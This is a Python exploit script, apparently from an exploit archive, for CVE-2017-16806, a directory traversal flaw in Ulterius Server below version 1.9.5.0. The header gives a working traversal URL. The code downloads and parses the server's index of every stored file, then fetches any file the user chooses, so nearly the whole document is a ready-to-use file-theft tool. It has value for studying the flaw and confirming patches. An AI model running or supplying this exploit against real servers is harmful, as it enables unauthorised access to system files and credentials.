|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112  |  # Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access # Date: 11/13/2017 # Exploit Author: Rick Osgood # Vendor Homepage: https://ulterius.io/ # Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d # Version: < 1.9.5.0 # Tested on: Windows Server 2012 R2 # CVE : CVE-2017-16806 # # You can download almost any file that resides on the same drive letter as Ulterius server. # Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini # # Unfortunately, you need to know the path to the file you want to download. # Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place: # http://ulteriusURL:2206/.../fileIndex.db # # This script will retrieve the fileIndex.db file for you, decompress it, and process the list to # make it human readable. Then you can use the same script to download any juicy files you find. # # Ulterius writes the following to the fileIndex.db file: # First four bytes are a timestamp so we can ignore this # The next four items repeat until the end of the file: # filename.length (4 bytes?) # filename # directory.length (4 bytes?) # directory import requests import sys import argparse import zlib import struct # This function grabs the filename or file path from the fileIndex def processChunk(i, data):  length = struct.unpack('B', data[i])[0]  length += struct.unpack('B', data[i+1])[0]  length += struct.unpack('B', data[i+2])[0]  length += struct.unpack('B', data[i+3])[0]  i += 4  filename = data[i:i+length]  i += length  return i, filename # Main function def main():  # Parse arguments  parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood')  parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port')  parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)')  parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true')  args = parser.parse_args() # We are going to retrieve a specified file  if args.retrieve:  fileName = str(args.retrieve[0]) # This works for the default Ulterius install directory.  baseDir = "/.../.../.../.../.../.../.../.../.../" # Remove slashes from output file name  outFile = fileName.replace('\\','_')  # Remove drive letter and change slashes  if ":\\" in fileName[:3]:  fileName = fileName[3:] # Replace slashes  fileName = fileName.replace('\\','/') # Replace slashes # Build URL  url = str(args.url[0]) + baseDir + fileName  print "Retrieving " + url # Download file  r = requests.get(url=url, stream=True) # Retrieve file # Write file  f = open(outFile, 'w')  f.write(r.content) # We are going to download the fileIndex.db file  if args.index: # Setup the URL  url = args.url[0] + "/.../fileIndex.db"  print "Downloading " + url # Download file  r = requests.get(url=url, stream=True) # decompress the data data = zlib.decompress( r.content, -15 ) # Open output file for writing  f = open('fileIndex.db', 'w')  # Strip off header info (not sure what this is)  data = data[8:]  # Process file names and write to output file  i = 0  while i < len(data):   i, filename = processChunk(i, data) # Get file name  i, directory = processChunk(i, data)# Get file path  i += 8 # Skip the FFFFFFFFFFFFFFFF  f.write(directory + '\\' + filename + '\n') # Write to output file if __name__ == "__main__": main()  |